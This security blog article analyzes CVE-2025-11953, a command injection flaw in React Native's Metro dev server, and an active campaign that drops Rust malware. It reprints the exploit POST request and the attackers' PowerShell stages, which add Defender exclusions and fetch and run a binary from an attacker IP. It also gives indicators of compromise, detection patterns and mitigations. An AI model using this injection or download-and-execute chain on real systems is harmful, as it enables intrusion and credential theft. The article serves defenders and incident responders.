Metro4Shell: Hackers Exploit React Native CLI to Deploy Rust Malware on Developer Machines
A critical remote code execution vulnerability in React Native's Metro development server is being actively exploited to compromise developer workstations with sophisticated Rust-based malware.
If you're a React Native developer who has ever run npm start or npx react-native start without thinking twice about it, this article is going to make you very uncomfortable. That innocent-looking development server you've been running? It might be broadcasting an open invitation to attackers across the entire internet.
Welcome to Metro4Shell — a vulnerability so dangerous that attackers started exploiting it weeks before the security community even acknowledged it was a real threat. Let's break down everything you need to know about CVE-2025-11953 and the active campaign targeting React Native developers right now.
Table of Contents
- TL;DR — What You Need to Know Right Now
- Understanding the Metro Development Server
- The Vulnerability Explained (CVE-2025-11953)
- How the Attack Works
- The Rust Malware: Technical Analysis
- Timeline of Exploitation
- Why This Matters: Developer Infrastructure as Attack Surface
- Indicators of Compromise (IOCs)
- How to Check If You're Vulnerable
- Mitigation and Remediation
- Lessons for Developers
- Conclusion
TL;DR — What You Need to Know Right Now
Affected Package: @react-native-community/cli-server-api (versions 4.8.0 through 20.0.0-alpha.2)
CVSS Score: 9.8 (Critical)
Impact: Remote unauthenticated attackers can execute arbitrary OS commands on your development machine by sending a single HTTP POST request
Currently Being Exploited: YES — since December 2025
Fix Available: Yes — update to version 20.0.0 or later
Immediate Workaround: Always run Metro with --host 127.0.0.1
Understanding the Metro Development Server
Before we dive into the vulnerability, let's understand what we're dealing with.
What is Metro?
Metro is the JavaScript bundler and development server that powers React Native applications during development. When you run commands like:
npm start
npx react-native start
npx react-native run-android
npx react-native run-ios
You're spinning up the Metro development server. This server is responsible for:
- Bundling your JavaScript code for the mobile app
- Hot reloading — pushing code changes to your running app instantly
- Serving the JavaScript bundle to emulators or connected devices
- Debugging — providing various development endpoints
The Metro server is part of the @react-native-community/cli package, which has approximately 2 million weekly downloads on npm. It's used by virtually every React Native developer working outside of frameworks like Expo.
The Deceptive Default Behavior
Here's where things get interesting — and dangerous. When you start Metro, you see a friendly message like:
Starting dev server on localhost:8081
"Localhost" suggests it's only accessible from your local machine, right? Wrong.
In reality, Metro binds to all network interfaces (0.0.0.0). This means your development server is accessible to:
- Every device on your local network
- The entire internet if you're not behind a firewall
- Anyone who can route traffic to your IP
This isn't just a configuration oversight. It's a deliberate design choice that has exposed thousands of React Native developers to remote attack.
Why Would Metro Need External Access?
The reasoning seems reasonable on the surface: developers often test on physical devices connected via USB or over the local network. Having Metro accessible beyond localhost makes connecting devices easier.
But here's the thing — accessibility without authentication is a recipe for disaster, especially when that accessible service has endpoints that can execute commands.
The Vulnerability Explained (CVE-2025-11953)
Discovery
CVE-2025-11953 was discovered by the JFrog Security Research team and publicly disclosed in November 2025. The vulnerability exists in the @react-native-community/cli-server-api package, versions 4.8.0 through 20.0.0-alpha.2.
The Dangerous Endpoint: /open-url
Metro exposes several HTTP endpoints for development purposes. One of these is /open-url, designed to help developers open URLs in their development environment.
Here's the vulnerable code flow:
async function openURLMiddleware(req, res, next) {
if (req.method === 'POST') {
const {url} = req.body;
await open(url); // ← The problem
// ...
}
next();
}
The open() function comes from the open npm package, which is designed to open URLs, files, and executables in the default application.
The Command Injection on Windows
On Windows, the open() function ultimately executes:
cmd /c start "" /b <target>
The start command in Windows cmd has a peculiar feature — it can execute arbitrary commands, not just open URLs. If an attacker sends:
{"url": "calc.exe"}
Windows will happily run Calculator. But it gets worse. Attackers can inject full command sequences:
{"url": "cmd /c whoami > C:\\temp\\pwned.txt"}
This results in the execution of:
cmd /c start "" /b cmd /c whoami > C:\temp\pwned.txt
Full, arbitrary command execution with no authentication required.
The Attack Surface on Linux and macOS
While Windows gets the worst of it with full command injection, Linux and macOS are not safe either.
On these platforms, open() uses:
- macOS: The
opencommand - Linux: The
xdg-opencommand
While these don't directly allow command injection in the same way, they can still:
- Execute local files — If an attacker can drop a file first, they can execute it
- Trigger URI handlers — Malicious protocols could lead to code execution
- Open remote files — SMB or DAV shares could serve malicious executables
The JFrog researchers note that "arbitrary OS command execution on these platforms may be achievable with further research."
The Full Attack Request
A complete exploitation request looks like this:
POST /open-url HTTP/1.1
Host: target:8081
Content-Type: application/json
Content-Length: 4632
{"url":"cmd /c powershell -EncodedCommand <base64_encoded_payload>"}
That's it. One HTTP request. No authentication. No tokens. No handshake. Just pure, unfiltered command execution.
How the Attack Works
The active exploitation campaign observed by VulnCheck demonstrates a sophisticated, multi-stage attack chain designed for stealth and persistence.
Stage 1: Discovery and Initial Access
Attackers scan the internet for exposed Metro servers on port 8081. Internet-wide scanning data from Censys, Fofa, and ZoomEye shows approximately 3,500 exposed React Native Metro servers publicly accessible.
The reconnaissance is simple:
# Finding exposed Metro servers
title="React Native" && port=8081
Stage 2: Payload Delivery
Once an exposed server is identified, attackers send a POST request to /open-url containing a Base64-encoded PowerShell command:
POST /open-url HTTP/1.1
Host: <victim>:8081
User-Agent: curl/7.85.0
Content-type: application/json
Content-Length: 4632
{"url":"cmd /c powershell -EncodedCommand <massive_base64_blob>"}
Stage 3: Defense Evasion
The decoded PowerShell script immediately works to disable security controls:
$currentDirectory = $(Get-Location).Path;
$systemTempDirectory = [System.IO.Path]::GetTempPath();
# Disable Microsoft Defender for current directory
Add-MpPreference -ExclusionPath $currentDirectory 2> $null;
# Disable Microsoft Defender for temp directory
Add-MpPreference -ExclusionPath $systemTempDirectory 2> $null;
This is notable — the attackers anticipated endpoint security and built evasion into the initial payload. This isn't script kiddie behavior; this is operational tradecraft.
Stage 4: Payload Retrieval
After disabling defenses, the script establishes a raw TCP connection to attacker-controlled infrastructure:
$tcpClient = New-Object System.Net.Sockets.TcpClient;
$tcpClient.Connect("8.218.43.248", 60124);
$tcpStream = $tcpClient.GetStream();
# Request the Windows payload
$req = "GET /windows";
$reqb = [System.Text.Encoding]::UTF8.GetBytes($req);
$tcpStream.Write($reqb, 0, $reqb.Length);
Note: The attackers use raw TCP instead of HTTP. This evades many proxy-based security solutions and leaves less forensic evidence than standard HTTP downloads.
Stage 5: Malware Installation
The downloaded binary is written to the system's temp directory with a random filename:
$execp = Join-Path -Path $systemTempDirectory -ChildPath jzDjiqKU.exe;
$fileStream = [System.IO.File]::OpenWrite($execp);
$buffer = New-Object byte[] 4096;
while (($bytesRead = $tcpStream.Read($buffer, 0, $buffer.Length)) -gt 0) {
$fileStream.Write($buffer, 0, $bytesRead);
}
Stage 6: Execution
Finally, the malware is executed with a large, encoded argument string:
Start-Process -FilePath "$execp" -ArgumentList '3qhAImaLj74zHdyyGDQFsNsfLLuFhWMhX7Crsbx...'
This argument appears to contain encoded configuration data or encryption keys for the malware.
The Rust Malware: Technical Analysis
The payload delivered by this campaign is particularly interesting — it's a Rust-based binary with notable anti-analysis features.
Why Rust?
Rust malware has been gaining popularity among threat actors for several reasons:
- Cross-platform compilation — Write once, compile for Windows, Linux, and macOS
- Memory safety — Fewer crashes mean more reliable implants
- Binary obfuscation — Rust binaries are naturally harder to reverse engineer
- Reduced signatures — Security tools have fewer Rust malware samples for detection
- Performance — Rust is fast, nearly matching C/C++
Payload Characteristics
Windows Payload:
- Packed SHA-256:
d8337df3aff749250557bf11daf069eb404cce0e6f4f91c6bd6d3f78aed6e9d6 - Unpacked SHA-256:
7ecbb0cc88dfa5f187c209a28bd25e8e2d5113bb898a91ae273bca5983130886
Linux Payload:
- Packed SHA-256:
d1886b189474b02467ed2845df0938cec9785e99c3d4b04e0b7de3cafbee4182 - Unpacked SHA-256:
6686d4baa9d483da27ba84dab85e96e42b790b608571de7bcb07a1fd7c975fe3
Anti-Analysis Features
The malware includes several techniques to hinder analysis:
- UPX Packing — The binaries are compressed with UPX (Ultimate Packer for eXecutables), adding a layer of obfuscation
- Runtime Checks — Anti-debugging and anti-sandbox checks are implemented
- Static Analysis Resistance — The Rust binary structure naturally complicates disassembly
Cross-Platform Capability
The same infrastructure hosting the Windows payload also served a corresponding "linux" binary, demonstrating that this campaign targets both platforms. This makes sense — React Native developers use macOS, Linux, and Windows, and the attackers want to maximize their reach.
What Does the Malware Do?
While complete analysis of the payload's functionality is ongoing, the sophisticated delivery chain and persistent infrastructure suggest this is likely:
- Remote Access Trojan (RAT) — Providing persistent access to compromised systems
- Credential Stealer — Developer machines often have cloud credentials, API keys, and code signing certificates
- Backdoor — Enabling long-term access to development environments
Developer machines are high-value targets because they often contain:
- Source code and intellectual property
- Cloud provider credentials (AWS, GCP, Azure)
- Code signing certificates
- SSH keys
- Database credentials
- API tokens
Timeline of Exploitation
Understanding the timeline of this vulnerability reveals a disturbing gap between exploitation and awareness.
| Date | Event |
|---|---|
| November 2025 | JFrog discovers and discloses CVE-2025-11953 |
| November 2025 | Multiple PoC exploits appear on GitHub |
| December 21, 2025 | VulnCheck observes first in-the-wild exploitation |
| January 4, 2026 | Same payloads delivered, attacks continue |
| January 21, 2026 | Continued operational exploitation observed |
| Late January 2026 | EPSS still rates exploitation probability at 0.00405 (low) |
| February 3, 2026 | VulnCheck publishes exploitation report |
| February 5, 2026 | CISA adds CVE-2025-11953 to KEV catalog |
| February 26, 2026 | FCEB agency remediation deadline |
The Awareness Gap
Here's what's disturbing: Over a month of active exploitation passed before there was broad public acknowledgment. During this time:
- The EPSS (Exploit Prediction Scoring System) rated the exploitation probability as LOW
- Most security teams hadn't prioritized patching
- Developers continued running vulnerable Metro servers
As VulnCheck noted:
"As of late January, public discussion largely frames CVE-2025-11953 as a theoretical risk rather than an active intrusion vector. This disconnect is where defenders are most likely to be caught unprepared."
This is a pattern we see repeatedly — attackers move faster than defenders, and waiting for official acknowledgment is a losing strategy.
Why This Matters: Developer Infrastructure as Attack Surface
Metro4Shell isn't just another vulnerability. It represents a broader trend that security teams need to understand.
Development Infrastructure is Production Infrastructure
VulnCheck's most important observation was:
"Development infrastructure becomes production infrastructure the moment it is reachable, regardless of intent."
This is a fundamental shift in how we need to think about security. The traditional model of "development is internal, production is external" is dead. In the era of:
- Remote work
- Cloud-based development
- Coffee shop coding
- Home networks with IoT devices
Every development server is potentially a production server — production in terms of security risk, even if not in terms of serving users.
The Supply Chain Angle
Compromising developer machines is the first step in supply chain attacks. Once attackers have access to a developer's workstation, they can:
- Inject backdoors into source code — Code that eventually ships to millions of users
- Steal code signing certificates — Allowing them to sign malicious updates
- Access CI/CD pipelines — Compromising the build process itself
- Harvest credentials — For cloud infrastructure, production databases, and other systems
This is how attacks like SolarWinds, Codecov, and countless others begin — with a compromised developer.
The npm Ecosystem Risk
The affected package has 2 million weekly downloads. That's not 2 million React Native developers — that's 2 million installations per week, representing a massive attack surface.
npm packages are particularly vulnerable because:
- They're installed with minimal vetting
- Dependencies of dependencies create deep, opaque chains
- Developers trust the ecosystem implicitly
- Many packages run arbitrary code at install time
Exposed Servers Are Not Theoretical
This isn't a hypothetical risk. Internet scanning shows ~3,500 exposed Metro servers right now. These are:
- Corporate developers on office networks
- Remote workers on home connections
- Developers at coffee shops and co-working spaces
- CI/CD build servers with public IPs
Each one is a potential entry point.
Indicators of Compromise (IOCs)
If you're doing incident response or threat hunting, here are the indicators associated with this campaign:
Exploitation Source IPs
These IP addresses have been observed sending exploitation attempts:
65.109.182.231223.6.249.141134.209.69.155
Payload Hosting Infrastructure
These IPs hosted the malware payloads:
8.218.43.248:60124(Windows payload)47.86.33.195:60130(Windows and Linux payloads)
Malware Hashes
Windows Payloads:
| Type | SHA-256 |
|---|---|
| UPX-packed | d8337df3aff749250557bf11daf069eb404cce0e6f4f91c6bd6d3f78aed6e9d6 |
| Unpacked | 7ecbb0cc88dfa5f187c209a28bd25e8e2d5113bb898a91ae273bca5983130886 |
Linux Payloads:
| Type | SHA-256 |
|---|---|
| UPX-packed | d1886b189474b02467ed2845df0938cec9785e99c3d4b04e0b7de3cafbee4182 |
| Unpacked | 6686d4baa9d483da27ba84dab85e96e42b790b608571de7bcb07a1fd7c975fe3 |
Behavioral Indicators
Look for:
- Raw TCP connections to suspicious ports:
- Port 60124
- Port 60130
- Unexpected executables in temp directories:
- Random 8-character names like
jzDjiqKU.exe
- Random 8-character names like
- HTTP POST requests to port 8081 with
/open-urlpath
Base64-encoded PowerShell execution:
powershell -EncodedCommand
PowerShell adding Defender exclusions:
Add-MpPreference -ExclusionPath
Network Detection
Snort/Suricata rules to detect exploitation attempts should look for:
- POST requests to
/open-urlendpoint - JSON body containing
cmdorpowershell - Destination port 8081
How to Check If You're Vulnerable
Step 1: Check Your Project Dependencies
Navigate to your React Native project and run:
cd <Your Project Folder>
npm list @react-native-community/cli-server-api
If you see a version between 4.8.0 and 20.0.0-alpha.2, you're vulnerable.
Step 2: Check Global Installations
You might have the package installed globally:
npm list -g @react-native-community/cli-server-api
Step 3: Check for Network Exposure
While Metro is running, check what interfaces it's bound to:
Linux/macOS:
netstat -tlnp | grep 8081
# or
ss -tlnp | grep 8081
Windows:
netstat -ano | findstr :8081
If you see 0.0.0.0:8081 instead of 127.0.0.1:8081, your server is externally accessible.
Step 4: Test External Access
From another device on your network:
curl http://<dev-machine-ip>:8081/status
If you get a response, you're exposed.
Are You Using a Vulnerable Command?
These commands start vulnerable Metro servers:
npm start
npm run start
npm run android
npm run ios
npm run windows
npm run macos
npx react-native start
npx react-native run-android
npx react-native run-ios
npx react-native run-windows
npx react-native run-macos
npx @react-native-community/cli start
If you use any of these without the --host 127.0.0.1 flag, you're potentially exposed.
Mitigation and Remediation
Immediate Actions
1. Update the vulnerable package:
npm update @react-native-community/cli-server-api
Ensure you're on version 20.0.0 or later.
2. Force localhost binding:
If you can't update immediately, always start Metro with the host flag:
npx react-native start --host 127.0.0.1
npx @react-native-community/cli start --host 127.0.0.1
3. Update your npm scripts:
In your package.json, update the start script:
{
"scripts": {
"start": "react-native start --host 127.0.0.1"
}
}
Network-Level Protections
1. Firewall Rules:
Block external access to port 8081:
# Linux (iptables)
iptables -A INPUT -p tcp --dport 8081 -j DROP
iptables -A INPUT -p tcp --dport 8081 -s 127.0.0.1 -j ACCEPT
# Windows Firewall
netsh advfirewall firewall add rule name="Block Metro External" dir=in action=block protocol=tcp localport=8081
2. Network Segmentation:
Developer machines should be on isolated network segments with restricted outbound access.
Detection and Monitoring
1. Monitor for suspicious PowerShell activity:
# Look for Defender exclusion additions
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'} |
Where-Object { $_.Message -like '*Add-MpPreference*' }
2. Check for unknown temp directory executables:
Get-ChildItem $env:TEMP -Filter *.exe |
Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-7) }
3. Review network connections:
# Linux
ss -tlnp | grep -E '8081|60124|60130'
# Windows
netstat -ano | findstr /R "8081 60124 60130"
Incident Response
If you suspect compromise:
- Isolate the affected machine — Disconnect from network immediately
- Preserve evidence — Image the disk before remediation
- Check for persistence — Review scheduled tasks, startup items, services
- Rotate credentials — All credentials on the affected machine should be considered compromised
- Audit source code — Check for unauthorized commits or changes
- Review CI/CD — Verify build pipeline integrity
Lessons for Developers
Metro4Shell teaches us several important lessons about developer security.
1. Never Trust "Development Only" Tools
The fact that something is labeled "development" doesn't mean it's safe to expose. Development tools are:
- Written with less security scrutiny than production code
- Often designed for convenience over security
- Running with developer privileges (often admin/root)
- Connected to sensitive resources (code, credentials, infrastructure)
2. Verify Network Bindings
Always check what interfaces your development servers bind to. The displayed message ("localhost") may not match reality (0.0.0.0).
3. Update Dependencies Regularly
The fix for CVE-2025-11953 was available quickly, but many developers don't have automated dependency update processes. Tools like:
- Dependabot
- Renovate
- npm audit
Should be part of every developer's workflow.
4. Use Allowlists for Outbound Connections
Developer machines should have restricted outbound network access. If your machine can connect to arbitrary IPs on arbitrary ports, an attacker's job is much easier.
5. Endpoint Security Matters on Dev Machines
The attackers in this campaign specifically disabled Microsoft Defender. This shows they expected security tools to be present.
Ensure developer machines have:
- EDR solutions
- Anti-tampering protections
- Behavioral monitoring
- Network-level security
6. Don't Wait for KEV/CISA/EPSS
This vulnerability was being exploited for over a month before CISA added it to the KEV catalog. If you're only patching KEV-listed vulnerabilities, you're already behind.
Build a vulnerability management process that:
- Prioritizes based on exploitability, not just severity
- Monitors for PoC releases
- Responds to vendor advisories quickly
- Doesn't wait for broad consensus
Conclusion
Metro4Shell (CVE-2025-11953) is a wake-up call for React Native developers and the broader software development community. The vulnerability demonstrates that:
- Development tools are legitimate attack vectors — Not theoretical, but actively exploited
- Attackers are fast — Exploitation began weeks before broad acknowledgment
- Developer machines are high-value targets — Access to one developer can compromise entire organizations
- Security assumptions are dangerous — "localhost" doesn't mean what you think it means
If you're a React Native developer, update immediately. If you're a security team, ensure developer infrastructure is part of your attack surface management program.
The days of treating development environments as inherently safe are over. Every reachable service is a potential entry point, regardless of whether it's labeled "production" or "development."
Stay safe. Update your dependencies. And for the love of security, bind your dev servers to localhost.